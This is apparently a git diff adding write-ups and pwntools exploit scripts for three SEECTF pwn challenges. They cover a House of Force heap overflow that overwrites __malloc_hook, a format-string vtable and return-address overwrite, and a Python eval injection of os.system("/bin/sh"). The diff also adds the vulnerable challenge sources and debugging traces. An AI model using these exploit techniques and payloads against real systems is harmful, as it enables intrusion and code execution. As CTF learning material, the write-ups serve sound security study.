libc-2.27 version. No PIE and Partial Relro for the protection. Let's straight to decompile with IDA.\ +The challenge is running on **main()** function. +```c +... + v21 = __readfsqword(0x28u); + counter = 0; + heap_pointer = sbrk(0LL); + setup_IO(); + while ( 1 ) + { + while ( 1 ) + { + do + { + print_statements(counter); + printf("Choose> "); + fflush(stdout); + } + while ( !fgets(option, 3, stdin) ); + fflush(stdin); + option[strcspn(option, "\n")] = 0; + v3 = atoi(option); + if ( v3 != 2 ) + break; + printf("\nThe position of latest addition is at %p\n", heap_pointer); + printf("The position of PUTS is at %p\n", &puts); + } + if ( v3 == 3 ) + break; + if ( v3 == 1 ) + { + printf("\nHow many points did this person score? > "); + fflush(stdout); + if ( fgets(score, 64, stdin) ) + { + fflush(stdin); + score[strcspn(score, "\n")] = 0; + size = strtol(score, &pty, 10); + ptr = malloc(size); + chunk = ptr; + printf("\nWho is this Hall of Famer > "); + fflush(stdout); + fgets(word, 100, stdin); + fflush(stdin); +... +``` + +If you look at the code we already got leak address, and there's a overflow on heap also. When we add Hall of Fame, the program will ask the size and malloc it, and then ask for input again for the data with size **100**.\ +So if we input size < 100 we will have an overflow. Because the libc version is 2.27 so to solve this challenge just use [**House of Force**](https://heap-exploitation.dhavalkapil.com/attacks/house_of_force) technique. + +Full script: +```py +from pwn import * +from sys import * + +elf = context.binary = ELF("./hall_of_fame_patched") +p = process("./hall_of_fame_patched") +libc = ELF("./libc.so.6") + +HOST = 'fun.chall.seetf.sg' +PORT = 50004 + +cmd = """ +b*0x0000000000400AE7 +""" + +if(argv[1] == 'gdb'): + gdb.attach(p,cmd) +elif(argv[1] == 'rm'): + p = remote(HOST,PORT) + +def add(size, data): + p.sendlineafter(b'> ', b'1') + p.sendlineafter(b'> ', str(size)) + p.sendlineafter(b'> ', data) + +def show(): + p.sendlineafter(b'> ', b'2') + p.recvuntil(b'at ') + heap = eval(p.recvline()) + p.recvuntil(b'at ') + leak = eval(p.recvline()) + return heap,leak + + +heap,leak = show() +libc.address = leak - libc.sym['puts'] +print(hex(heap), hex(libc.address)) +add(0x10,b'A'*24+p64(0xffffffffffffffff)) +size = libc.sym['__malloc_hook']-(heap+0x270)-0x20 + +add(size,b'') +add(0x30,p64(libc.address+0x10a2fc)) +p.interactive() +``` \ No newline at end of file diff --git a/SEECTF/hall_of_fame/exploit.py b/SEECTF/hall_of_fame/exploit.py new file mode 100644 index 0000000..c0ee4f2 --- /dev/null +++ b/SEECTF/hall_of_fame/exploit.py @@ -0,0 +1,48 @@ +from pwn import * +from sys import * + +elf = context.binary = ELF("./hall_of_fame_patched") +p = process("./hall_of_fame_patched") +libc = ELF("./libc.so.6") + +HOST = 'fun.chall.seetf.sg' +PORT = 50004 + +cmd = """ +b*0x0000000000400AE7 +""" + +if(argv[1] == 'gdb'): + gdb.attach(p,cmd) +elif(argv[1] == 'rm'): + p = remote(HOST,PORT) + +def add(size, data): + p.sendlineafter(b'> ', b'1') + p.sendlineafter(b'> ', str(size)) + p.sendlineafter(b'> ', data) + +def show(): + p.sendlineafter(b'> ', b'2') + p.recvuntil(b'at ') + heap = eval(p.recvline()) + p.recvuntil(b'at ') + leak = eval(p.recvline()) + return heap,leak + +def tohex(val, nbits): + return hex((val + (1 << nbits)) % (1 << nbits)) + +heap,leak = show() +libc.address = leak - libc.sym['puts'] +print(hex(heap), hex(libc.address)) +add(0x10,b'A'*24+p64(0xffffffffffffffff)) +size = libc.sym['__malloc_hook']-(heap+0x270)-0x20 +#print(hex(elf.bss()+0x100)) +#size = int(tohex(size,64),16) + +add(size,b'') +add(0x30,p64(libc.address+0x10a2fc)) +#add(size,b) +#add(16,b'A'*16+p64(0xdeadbeef)) +p.interactive() \ No newline at end of file diff --git a/SEECTF/hall_of_fame/hall_of_fame b/SEECTF/hall_of_fame/hall_of_fame new file mode 100755 index 0000000..04e8533 Binary files /dev/null and b/SEECTF/hall_of_fame/hall_of_fame differ diff --git a/SEECTF/hall_of_fame/hall_of_fame_patched b/SEECTF/hall_of_fame/hall_of_fame_patched new file mode 100755 index 0000000..285e5cb Binary files /dev/null and b/SEECTF/hall_of_fame/hall_of_fame_patched differ diff --git a/SEECTF/hall_of_fame/images/hof.png b/SEECTF/hall_of_fame/images/hof.png new file mode 100644 index 0000000..9bbd02c Binary files /dev/null and b/SEECTF/hall_of_fame/images/hof.png differ diff --git a/SEECTF/hall_of_fame/ld-2.27.so b/SEECTF/hall_of_fame/ld-2.27.so new file mode 100755 index 0000000..eb6aac7 Binary files /dev/null and b/SEECTF/hall_of_fame/ld-2.27.so differ diff --git a/SEECTF/hall_of_fame/libc-2.27.so b/SEECTF/hall_of_fame/libc-2.27.so new file mode 100644 index 0000000..dc579a1 Binary files /dev/null and b/SEECTF/hall_of_fame/libc-2.27.so differ diff --git a/SEECTF/hall_of_fame/libc.so.6 b/SEECTF/hall_of_fame/libc.so.6 new file mode 120000 index 0000000..aa8ad7a --- /dev/null +++ b/SEECTF/hall_of_fame/libc.so.6 @@ -0,0 +1 @@ +libc-2.27.so \ No newline at end of file diff --git a/SEECTF/hall_of_fame/pwn_hall_of_fame.zip b/SEECTF/hall_of_fame/pwn_hall_of_fame.zip new file mode 100644 index 0000000..eb5a994 Binary files /dev/null and b/SEECTF/hall_of_fame/pwn_hall_of_fame.zip differ diff --git a/SEECTF/pokemonbattle/.gdb_history b/SEECTF/pokemonbattle/.gdb_history new file mode 100644 index 0000000..57816d1 --- /dev/null +++ b/SEECTF/pokemonbattle/.gdb_history @@ -0,0 +1,256 @@ +si +ni +ni +x/gx $rbp-8 +ni +r +ni +si +ni +x/gx $rbp-8 +x 0x0000555555558150 +x 0x0000555555557d68 +x 0x0000555555555216 +q +c +q +c +ni +q +c +ni +ni +x/gx 0x555555558150 +q +c +vis +ni +vmmap +x/gx 0x555555558000 +q +c +q +c +ni +ni +c +ni +ni +c +ni +x8gx $rsp +x/8gx $rsp +q +c +x/8gx $rsp +x/gx 0x00007fffffffdda0 +x/gx 0x00005555555552b7 +x/gx 0x00007fffffffde98 +q +c +x/8gx $rsp +x/8gx $rsp-0x20 +x/8gx $rsp-0x100 +ni +ni +x/8gx $rsp-0x100 +x 0x00005555555552b7 +p &win +x/gx 0x00007fffffffdd70 +q +c +ni +ni +x/gx 0x00007fffffffdd70 +x/gx $rsp +x/8gx $rsp-0x100 +x/gx 0x00007fffffffdd90 + +x/gx 0x00007fffffffdd90 +x/gx 0x555555557d70 +x/gx 0x555555557d70-8 +q +c +ni +q +c +ni +x/gx $rbp-8 +x/gx 0x0000555555558150 +x 0x0000555555557d62 +x 0x0000555555557d70 +x 0x0000555555557d70-8 +q +c +ni +q +c +ni +vis +x/8gx $rsp +x 0x0000555555555287 +ni +x 0x0000555555555287 +ni +x/8gx $rsp-0x100 +q +c +x/8gx $rsp-0x100 +ni +c +x/8gx $rsp-0x100 +ni +ni +ni +q +c +c +ni +x/8gx $rsp-0x100 +q +c +c +c +c +q +c +c +ni +q +c +ni +x/gx $rbp-8 +x/gx 0x0000555555558150 +x/gx 0x0000555555557d98 +q +c +c +c +ni +q +c +ni +c +ni +x/gx 0x0000555555557d9c +c +x/gx $rsp-0x100 +x/8gx $rsp-0x100 +q +p &win +q +c +ni +q +c +ni +x/8gx $rsp-0x100 +q +c +ni +c +ni +x/gx 0x7fffffffdd98 +ni +x/gx 0x7fffffffdd98 +q +c +x/gx 0x7fffffffdd98 +q +c +ni +c +q +c +q +c +ni +x/8gx $rsp-0x100 +ni +q +c +ni +q +c +q +disass main +disass ._85::Play() +disass Play() +disass 'Play()' +q +c +ni +x/gx 0x555555558150 +x/gx 0x0000555555557d68 +x/gx 0x00005555555551ea +c +q +c +ni +x/gx 0x555555558150 +x/gx 0x555555557d68 +x/gx 0x00005555555551ea +p &win +x/gx 0x7fffffffdd78 +x 0x00005555555552b7 +0xbe-0xb7 +p/x 0xbe-0xb7 +x/gx 0x555555558150 +x/gx 0x0000555555557d68 +x 0x0000555555555216 +q +c +x/gx 0x555555558150, +x/gx 0x555555558150 +q +c +x/gx 0x555555558150 +ni +x/gx 0x555555558150 +x 0x0000555555557d70 +x 0x0000555555555216 +c +x/8gx 0x7fffffffdd40 +x 0x00005555555552b7 +q +c +c +x/8gx 0x7fffffffdd70 +x/8gx 0x7fffffffdd70-0x30 +q +x/8gx 0x7fffffffdd70-0x30 +c +x/8gx 0x7fffffffdd70-0x30 +c +x/8gx 0x7fffffffdd70-0x30 +q +c +c +c +q +c +c +x/8gx 0x7fffffffdd70-0x30 +c +p &win +q +c +ni +c +q +c +x/8gx 0x7fffffffdd70-0x30 +x 0x00005555555552be +q +c +c +c +ni +q +c +c +x/8gx 0x7fffffffdd70-0x30 +q +p &win +disass 0x5555555552be +q diff --git a/SEECTF/pokemonbattle/README.md b/SEECTF/pokemonbattle/README.md new file mode 100644 index 0000000..6764138 --- /dev/null +++ b/SEECTF/pokemonbattle/README.md @@ -0,0 +1,175 @@ +## Pokemon Battle +![pokemon](images/pokemon.png) + +### Description +>Author: Neobeo\ +>Gary wants to challenge you to a virtual battle. Be sure to choose your pokemon well! Here's an early leak of the game, but you should know that it's incomplete and there's currently no way to win.\ +>nc fun.chall.seetf.sg 50005\ +>MD5: a07506f402f6a3b18ca8ee5f5642a570 + + +### Gain Shell +Format string vuln challenge with given source code c++ for the challenge. The source code its look like this +```c++ +// g++ pokemonbattle.cpp -w -o pokemonbattle +#include + +struct { + char pokemon[13]; // longest pokemon name is 12 letters (Crabominable) + virtual void Battle() { + printf("Let the battle begin...\n"); + // @todo: implement an actual battle + printf("Your pokemon was defeated. You blacked out!\n"); + } + virtual void Play() { + printf("Choose a pokemon: "); + std::cin.getline(pokemon, sizeof pokemon); + printf(pokemon); + printf(", I choose you!\n"); + Battle(); + } +} battler; + +int main() { + battler.Play(); +} + +void win() { + system("cat flag.txt"); +} +``` + +The PIE was enabled, and we only have one formatstring with 13 size of input. Where to overwrite?\ +In C++, we can overwrite **vtable** of **battler**. Look here at gdb: +![pokemon](images/pokemon2.png) +The program will `call rdx` and rdx come from **vtable of battler**, if we overwrite the vtable to another address and that address contains address of **win** then gameover! We got the shell. Simply our goal is like this + +``` +Before: +0x555555558150 (batler) -> 0x555555557d68 (vtable) -> 0x5555555551ea (Battle()) + +After: +0x555555558150 (batler) -> (any_address) -> (win()) +``` + +To do our goal before it will write many input and its too complicated. So change our goal to overwrite the return address of **Battle()** to **win()** + + +Alright, first we need more than one formatstring, to do that we need overwrite vtable to **Play()** again. +Now how to overwrite the vtable? We only have one time formatstring. And the formatstring is in **BSS** not in stack, so we cant use technique like usual. + +![pokemon](images/pokemon4.png) + +So we must overwrite just 1 bytes vtable from **0x68** to **0x70**. To do that because the address of battler is at offset 7 on formatstring. We can use that offset to overwrite the vtable. +![pokemon](images/pokemon5.png) +So if we input like `%7$n` on formatstring vuln. It will overwite to the inside of that address. For example we got leak address of **battler** with input `%7$p`. So if we input like `%10c%7$n` the address of **battler** will be like this `0x555555558150 (battler) -> 0x000000000000000a`. We just need ovewrite 1 bytes so we use **$hhn** instead of **$n** + +```py +payload = f"%{0x70}c" +payload += "%7$hhn" +p.sendline(payload) +``` + +![pokemon](images/pokemon6.png) + +Now we have unlimited formatstring. If you look at the stack rightnow the stack step back 0x20. + +![pokemon](images/pokemon7.png) + +Its because when we call **Play()** again the stack reduced by 0x20. Our goal is to overwrite address of return which is located at +`0x7fffffffdd78 -> 0x00005555555552b7 (return main+20)`. But we dont have that stack on any offset at formatstring.\ +But we do have `0x7fffffffdd70` at offset 8 and `0x7fffffffdd80` at offset 12. + +``` +0x7fffffffdd50 -> 0x00007fffffffdd70 (offset 8) +0x7fffffffdd70 -> 0x00007fffffffdd80 (offset 12) +``` + +Like we overwrite the vtable before, if we do `%8$n` it will overwrite the address in `0x7fffffffdd70`. So how we do like this. +``` +Overwrite value offset 8 to 0x78, %120c%8$hhn +The address will be like + +0x7fffffffdd50 -> 0x00007fffffffdd70 (offset 8) +0x7fffffffdd70 -> 0x00007fffffffdd78 (offset 12) +0x7fffffffdd78 -> 0x00005555555552b7 +``` +So when we input %12$p it will become `0x00007fffffffdd78` with this we can overwrite the return address!. Oh I told before after we back to **Play()** again, the stack move 0x20, so the offset will be move everytime we do a formatstring. And found the correct offset for the addresss `0x00007fffffffdd78` is **16**. + +```py +#overwrite vtable Batle() to Play() +payload = f"%{0x70}c" +payload += "%7$hhn" +p.sendline(payload) + +#overwrite +payload = f"%{0x78}c" +payload += "%8$hhn" +p.sendline(payload) + +p.sendline("%16$p") +#0x7fffffffdd78 +``` + +Alright with this we can simply do the sametrick when we do `%16$n` it will overwrite the return address which is the **main()** function. After that just overwrite vtable back to **Battle()** and we got shell!. Because there's stack alignment error when call **win()** function. Instead of overwrite to start address of **win()** we overwrite to here: +```bash +pwndbg> p &win +$1 = ( *) 0x5555555552be +pwndbg> disass 0x5555555552be +Dump of assembler code for function _Z3winv: + 0x00005555555552be <+0>: endbr64 + 0x00005555555552c2 <+4>: push rbp + 0x00005555555552c3 <+5>: mov rbp,rsp + 0x00005555555552c6 <+8>: lea rdi,[rip+0xdaa] # overwrite to here + 0x00005555555552cd <+15>: call 0x5555555550c0 +``` +Overwrite to **0xc6**.\ +With this now we solve the challenge. + +Full script: + +```py +from pwn import * +from sys import * + +context.log_level = 'warning' +elf = context.binary = ELF("./pokemonbattle") +p = process("./pokemonbattle") +libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") + +HOST = 'fun.chall.seetf.sg' +PORT = 50005 + +cmd = """ +b*0x555555555274 +""" + +if(argv[1] == 'gdb'): + gdb.attach(p,cmd) +elif(argv[1] == 'rm'): + p = remote(HOST,PORT) + +#overwrite vtable Batle() to Play() +payload = f"%{0x70}c" +payload += "%7$hhn" +p.sendline(payload) + +#overwrite +payload = f"%{0x78}c" +payload += "%8$hhn" +p.sendline(payload) + +# p.sendline("%16$p") +# #0x7fffffffdd78 + +#gdb.attach(p,cmd) +payload = f"%{0xc6}c" +payload += "%16$hhn" +p.sendline(payload) + + +payload = f"%{0x68}c" +payload += "%7$hhn" +p.sendline(payload) +p.interactive() +``` \ No newline at end of file diff --git a/SEECTF/pokemonbattle/data b/SEECTF/pokemonbattle/data new file mode 100644 index 0000000..c5225a1 --- /dev/null +++ b/SEECTF/pokemonbattle/data @@ -0,0 +1,100 @@ +b'AAAA%0$p, I choose you!\n' 0 +b'AAAA0x8, I choose you!\n' 1 +b'AAAA0x55555556b2c9, I choose you!\n' 2 +b'AAAA0xa, I choose you!\n' 3 +b'AAAA0xa, I choose you!\n' 4 +b'AAAA0x7c, I choose you!\n' 5 +b'AAAA(nil), I choose you!\n' 6 +b'AAAA0x555555558150, I choose you!\n' 7 +b'AAAA0x7fffffffdda0, I choose you!\n' 8 +b'AAAA0x5555555552b7, I choose you!\n' 9 +b'AAAA(nil), I choose you!\n' 10 +b'AAAA0x7ffff7bf40b3, I choose you!\n' 11 +b'AAAA0x7ffff7dbcb80, I choose you!\n' 12 +b'AAAA0x7fffffffde98, I choose you!\n' 13 +b'AAAA0x100011c00, I choose you!\n' 14 +b'AAAA0x5555555552a3, I choose you!\n' 15 +b'AAAA0x555555555350, I choose you!\n' 16 +b'AAAA0xfb7bed35f1002fb6, I choose you!\n' 17 +b'AAAA0x555555555100, I choose you!\n' 18 +b'AAAA0x7fffffffde90, I choose you!\n' 19 +b'AAAA(nil), I choose you!\n' 20 +b'AAAA(nil), I choose you!\n' 21 +b'AAAA0xfa2f9ab00e5a7316, I choose you!\n' 22 +b'AAAA0x28657dbf59238a55, I choose you!\n' 23 +b'AAAA(nil), I choose you!\n' 24 +b'AAAA(nil), I choose you!\n' 25 +b'AAAA(nil), I choose you!\n' 26 +b'AAAA0x1, I choose you!\n' 27 +b'AAAA0x7fffffffde98, I choose you!\n' 28 +b'AAAA0x7fffffffdea8, I choose you!\n' 29 +b'AAAA0x7ffff7ffe190, I choose you!\n' 30 +b'AAAA(nil), I choose you!\n' 31 +b'AAAA(nil), I choose you!\n' 32 +b'AAAA0x555555555100, I choose you!\n' 33 +b'AAAA0x7fffffffde90, I choose you!\n' 34 +b'AAAA(nil), I choose you!\n' 35 +b'AAAA(nil), I choose you!\n' 36 +b'AAAA0x55555555512e, I choose you!\n' 37 +b'AAAA0x7fffffffde88, I choose you!\n' 38 +b'AAAA0x1c, I choose you!\n' 39 +b'AAAA0x1, I choose you!\n' 40 +b'AAAA0x7fffffffe209, I choose you!\n' 41 +b'AAAA(nil), I choose you!\n' 42 +b'AAAA0x7fffffffe219, I choose you!\n' 43 +b'AAAA0x7fffffffe229, I choose you!\n' 44 +b'AAAA0x7fffffffe277, I choose you!\n' 45 +b'AAAA0x7fffffffe28a, I choose you!\n' 46 +b'AAAA0x7fffffffe29e, I choose you!\n' 47 +b'AAAA0x7fffffffe2cb, I choose you!\n' 48 +b'AAAA0x7fffffffe2e2, I choose you!\n' 49 +b'AAAA0x7fffffffe30e, I choose you!\n' 50 +b'AAAA0x7fffffffe344, I choose you!\n' 51 +b'AAAA0x7fffffffe35b, I choose you!\n' 52 +b'AAAA0x7fffffffe37b, I choose you!\n' 53 +b'AAAA0x7fffffffe38f, I choose you!\n' 54 +b'AAAA0x7fffffffe3b8, I choose you!\n' 55 +b'AAAA0x7fffffffe3cc, I choose you!\n' 56 +b'AAAA0x7fffffffe3e3, I choose you!\n' 57 +b'AAAA0x7fffffffe3fb, I choose you!\n' 58 +b'AAAA0x7fffffffe40e, I choose you!\n' 59 +b'AAAA0x7fffffffe42a, I choose you!\n' 60 +b'AAAA0x7fffffffe46b, I choose you!\n' 61 +b'AAAA0x7fffffffe479, I choose you!\n' 62 +b'AAAA0x7fffffffe494, I choose you!\n' 63 +b'AAAA0x7fffffffe4a9, I choose you!\n' 64 +b'AAAA0x7fffffffe4dd, I choose you!\n' 65 +b'AAAA0x7fffffffe506, I choose you!\n' 66 +b'AAAA0x7fffffffe527, I choose you!\n' 67 +b'AAAA0x7fffffffe534, I choose you!\n' 68 +b'AAAA0x7fffffffe545, I choose you!\n' 69 +b'AAAA0x7fffffffe554, I choose you!\n' 70 +b'AAAA0x7fffffffe566, I choose you!\n' 71 +b'AAAA0x7fffffffe57b, I choose you!\n' 72 +b'AAAA0x7fffffffe58c, I choose you!\n' 73 +b'AAAA0x7fffffffeb6e, I choose you!\n' 74 +b'AAAA0x7fffffffeb8f, I choose you!\n' 75 +b'AAAA0x7fffffffeba0, I choose you!\n' 76 +b'AAAA0x7fffffffebf6, I choose you!\n' 77 +b'AAAA0x7fffffffec25, I choose you!\n' 78 +b'AAAA0x7fffffffec35, I choose you!\n' 79 +b'AAAA0x7fffffffec4a, I choose you!\n' 80 +b'AAAA0x7fffffffec62, I choose you!\n' 81 +b'AAAA0x7fffffffec84, I choose you!\n' 82 +b'AAAA0x7fffffffec9b, I choose you!\n' 83 +b'AAAA0x7fffffffecaf, I choose you!\n' 84 +b'AAAA0x7fffffffeccd, I choose you!\n' 85 +b'AAAA0x7fffffffed00, I choose you!\n' 86 +b'AAAA0x7fffffffed20, I choose you!\n' 87 +b'AAAA0x7fffffffed2b, I choose you!\n' 88 +b'AAAA0x7fffffffed48, I choose you!\n' 89 +b'AAAA0x7fffffffed53, I choose you!\n' 90 +b'AAAA0x7fffffffed5b, I choose you!\n' 91 +b'AAAA0x7fffffffed74, I choose you!\n' 92 +b'AAAA0x7fffffffed86, I choose you!\n' 93 +b'AAAA0x7fffffffeda1, I choose you!\n' 94 +b'AAAA0x7fffffffedc0, I choose you!\n' 95 +b'AAAA0x7fffffffedd4, I choose you!\n' 96 +b'AAAA0x7fffffffedeb, I choose you!\n' 97 +b'AAAA0x7fffffffee40, I choose you!\n' 98 +b'AAAA0x7fffffffef2a, I choose you!\n' 99 diff --git a/SEECTF/pokemonbattle/exploit.py b/SEECTF/pokemonbattle/exploit.py new file mode 100644 index 0000000..ef781b2 --- /dev/null +++ b/SEECTF/pokemonbattle/exploit.py @@ -0,0 +1,43 @@ +from pwn import * +from sys import * + +context.log_level = 'warning' +elf = context.binary = ELF("./pokemonbattle") +p = process("./pokemonbattle") +libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") + +HOST = 'fun.chall.seetf.sg' +PORT = 50005 + +cmd = """ +b*0x555555555274 +""" + +if(argv[1] == 'gdb'): + gdb.attach(p,cmd) +elif(argv[1] == 'rm'): + p = remote(HOST,PORT) + +#overwrite vtable Batle() to Play() +payload = f"%{0x70}c" +payload += "%7$hhn" +p.sendline(payload) + +#overwrite +payload = f"%{0x78}c" +payload += "%8$hhn" +p.sendline(payload) + +p.sendline("%16$p") +# + +# #gdb.attach(p,cmd) +# payload = f"%{0xc6}c" +# payload += "%16$hhn" +# p.sendline(payload) + + +# payload = f"%{0x68}c" +# payload += "%7$hhn" +# p.sendline(payload) +p.interactive() \ No newline at end of file diff --git a/SEECTF/pokemonbattle/flag.txt b/SEECTF/pokemonbattle/flag.txt new file mode 100644 index 0000000..06df05f --- /dev/null +++ b/SEECTF/pokemonbattle/flag.txt @@ -0,0 +1 @@ +SEE{redacted} diff --git a/SEECTF/pokemonbattle/images/pokemon.png b/SEECTF/pokemonbattle/images/pokemon.png new file mode 100644 index 0000000..2bc07f6 Binary files /dev/null and b/SEECTF/pokemonbattle/images/pokemon.png differ diff --git a/SEECTF/pokemonbattle/images/pokemon2.png b/SEECTF/pokemonbattle/images/pokemon2.png new file mode 100644 index 0000000..7631f37 Binary files /dev/null and b/SEECTF/pokemonbattle/images/pokemon2.png differ diff --git a/SEECTF/pokemonbattle/images/pokemon3.png b/SEECTF/pokemonbattle/images/pokemon3.png new file mode 100644 index 0000000..2765491 Binary files /dev/null and b/SEECTF/pokemonbattle/images/pokemon3.png differ diff --git a/SEECTF/pokemonbattle/images/pokemon4.png b/SEECTF/pokemonbattle/images/pokemon4.png new file mode 100644 index 0000000..4f4f789 Binary files /dev/null and b/SEECTF/pokemonbattle/images/pokemon4.png differ diff --git a/SEECTF/pokemonbattle/images/pokemon5.png b/SEECTF/pokemonbattle/images/pokemon5.png new file mode 100644 index 0000000..4051808 Binary files /dev/null and b/SEECTF/pokemonbattle/images/pokemon5.png differ diff --git a/SEECTF/pokemonbattle/images/pokemon6.png b/SEECTF/pokemonbattle/images/pokemon6.png new file mode 100644 index 0000000..8654847 Binary files /dev/null and b/SEECTF/pokemonbattle/images/pokemon6.png differ diff --git a/SEECTF/pokemonbattle/images/pokemon7.png b/SEECTF/pokemonbattle/images/pokemon7.png new file mode 100644 index 0000000..f2e1e9f Binary files /dev/null and b/SEECTF/pokemonbattle/images/pokemon7.png differ diff --git a/SEECTF/pokemonbattle/pokemonbattle b/SEECTF/pokemonbattle/pokemonbattle new file mode 100755 index 0000000..884fac9 Binary files /dev/null and b/SEECTF/pokemonbattle/pokemonbattle differ diff --git a/SEECTF/pokemonbattle/pokemonbattle.cpp b/SEECTF/pokemonbattle/pokemonbattle.cpp new file mode 100644 index 0000000..231adcc --- /dev/null +++ b/SEECTF/pokemonbattle/pokemonbattle.cpp @@ -0,0 +1,26 @@ +// g++ pokemonbattle.cpp -w -o pokemonbattle +#include + +struct { + char pokemon[13]; // longest pokemon name is 12 letters (Crabominable) + virtual void Battle() { + printf("Let the battle begin...\n"); + // @todo: implement an actual battle + printf("Your pokemon was defeated. You blacked out!\n"); + } + virtual void Play() { + printf("Choose a pokemon: "); + std::cin.getline(pokemon, sizeof pokemon); + printf(pokemon); + printf(", I choose you!\n"); + Battle(); + } +} battler; + +int main() { + battler.Play(); +} + +void win() { + system("cat flag.txt"); +} diff --git a/SEECTF/pokemonbattle/pwn_pokemonbattle.zip b/SEECTF/pokemonbattle/pwn_pokemonbattle.zip new file mode 100644 index 0000000..665b232 Binary files /dev/null and b/SEECTF/pokemonbattle/pwn_pokemonbattle.zip differ diff --git a/SEECTF/wayyang/README.md b/SEECTF/wayyang/README.md new file mode 100644 index 0000000..ce96a3a --- /dev/null +++ b/SEECTF/wayyang/README.md @@ -0,0 +1,115 @@ +## Wayyang +![wayyang](images/wayyang.png) + +### Description +>Author: Fawl\ +>Infintesky as a service <3\ +>nc fun.chall.seetf.sg 50008\ +>MD5: b2fda586e0324449e9337fdad8a62757 + + + +### Gain Shell +Python Jail challenge, the source code was given and it look like this +```py +#!/usr/local/bin/python +import os + +FLAG_FILE = "FLAG" + +def get_input() -> int: + print(''' ,#####, + #_ _# + |a` `a| + | u | ________________________ + \ = / | WAYYANG | + |\___/| < TERMINAL v1.0 | + ___ ____/: :\____ ___ |________________________| + .' `.-===-\ /-===-.` '. + / .-"""""-.-"""""-. \ + /' =:= '\ + .' ' .: o -=:=- o :. ' `. + (.' /'. '-.....-'-.....-' .'\ '.) + /' ._/ ". --:-- ." \_. '\ + | .'| ". ---:--- ." |'. | + | : | | ---:--- | | : | + \ : | |_____._____| | : / + / ( |----|------| ) \ + /... .| | | | |. ...\ +|::::/'' jgs / | \ ''\::::| +'"""" /' .L_ `\ """"' + /'-.,__/` `\__..-'\ + ; / \ ; + : / \ | + | / \. | + |`../ | ,/ + ( _ ) | _) + | | | | + |___| \___| + :===| |==| + \ / |__| + /\/\ /"""`8.__ + |oo| \__.//___) + |==| + \__/''') + print("What would you like to do today?") + print("1. Weather") + print("2. Time") + print("3. Tiktok of the day") + print("4. Read straits times") + print("5. Get flag") + print("6. Exit") + + choice = int(input(">> ")) + + return choice + + +if __name__ == '__main__': + choice = get_input() + + if choice == 1: + print("CLEAR SKIES FOR HANDSOME MEN") + elif choice == 2: + print("IT'S ALWAYS SEXY TIME") + elif choice == 3: + print("https://www.tiktok.com/@benawad/video/7039054021797252399") + elif choice == 4: + filename = input("which news article you want babe :) ") + not_allowed = [char for char in FLAG_FILE] + + for char in filename: + if char in not_allowed: + print("NICE TRY. WAYYANG SEE YOU!!!!!") + os.system(f"cat news.txt") + exit() + + try: + os.system(f"cat {eval(filename)}") + except: + pass + elif choice == 5: + print("NOT READY YET. MAYBE AFTER CTF????") +``` + +The bug is on **input()** at choice 4, because the program already **import os**, then just simply input **os.system("/bin/sh")** to get shell +```bash +$ nc fun.chall.seetf.sg 50008 +$ What would you like to do today? +$ 1. Weather +$ 2. Time +$ 3. Tiktok of the day +$ 4. Read straits times +$ 5. Get flag +$ 6. Exit +$ >> 4 +$ which news article you want babe :) os.system("/bin/sh") +$ ls +$ FLAG +$ bin +$ news +$ run.sh +$ wayyang.py +$ cat FLAG +$ SEE{wayyang_as_a_service_621331e420c46e29cfde50f66ad184cc} +```` \ No newline at end of file diff --git a/SEECTF/wayyang/images/wayyang.png b/SEECTF/wayyang/images/wayyang.png new file mode 100644 index 0000000..d602ff3 Binary files /dev/null and b/SEECTF/wayyang/images/wayyang.png differ diff --git a/SEECTF/wayyang/pwn_wayyang.zip b/SEECTF/wayyang/pwn_wayyang.zip new file mode 100644 index 0000000..dcf97fb Binary files /dev/null and b/SEECTF/wayyang/pwn_wayyang.zip differ diff --git a/SEECTF/wayyang/wayyang.py b/SEECTF/wayyang/wayyang.py new file mode 100644 index 0000000..01f4079 --- /dev/null +++ b/SEECTF/wayyang/wayyang.py @@ -0,0 +1,78 @@ +#!/usr/local/bin/python +import os + +FLAG_FILE = "FLAG" + +def get_input() -> int: + print(''' ,#####, + #_ _# + |a` `a| + | u | ________________________ + \ = / | WAYYANG | + |\___/| < TERMINAL v1.0 | + ___ ____/: :\____ ___ |________________________| + .' `.-===-\ /-===-.` '. + / .-"""""-.-"""""-. \ + /' =:= '\ + .' ' .: o -=:=- o :. ' `. + (.' /'. '-.....-'-.....-' .'\ '.) + /' ._/ ". --:-- ." \_. '\ + | .'| ". ---:--- ." |'. | + | : | | ---:--- | | : | + \ : | |_____._____| | : / + / ( |----|------| ) \ + /... .| | | | |. ...\ +|::::/'' jgs / | \ ''\::::| +'"""" /' .L_ `\ """"' + /'-.,__/` `\__..-'\ + ; / \ ; + : / \ | + | / \. | + |`../ | ,/ + ( _ ) | _) + | | | | + |___| \___| + :===| |==| + \ / |__| + /\/\ /"""`8.__ + |oo| \__.//___) + |==| + \__/''') + print("What would you like to do today?") + print("1. Weather") + print("2. Time") + print("3. Tiktok of the day") + print("4. Read straits times") + print("5. Get flag") + print("6. Exit") + + choice = int(input(">> ")) + + return choice + + +if __name__ == '__main__': + choice = get_input() + + if choice == 1: + print("CLEAR SKIES FOR HANDSOME MEN") + elif choice == 2: + print("IT'S ALWAYS SEXY TIME") + elif choice == 3: + print("https://www.tiktok.com/@benawad/video/7039054021797252399") + elif choice == 4: + filename = input("which news article you want babe :) ") + not_allowed = [char for char in FLAG_FILE] + + for char in filename: + if char in not_allowed: + print("NICE TRY. WAYYANG SEE YOU!!!!!") + os.system(f"cat news.txt") + exit() + + try: + os.system(f"cat {eval(filename)}") + except: + pass + elif choice == 5: + print("NOT READY YET. MAYBE AFTER CTF????") diff --git a/Test b/Test deleted file mode 100644 index e69de29..0000000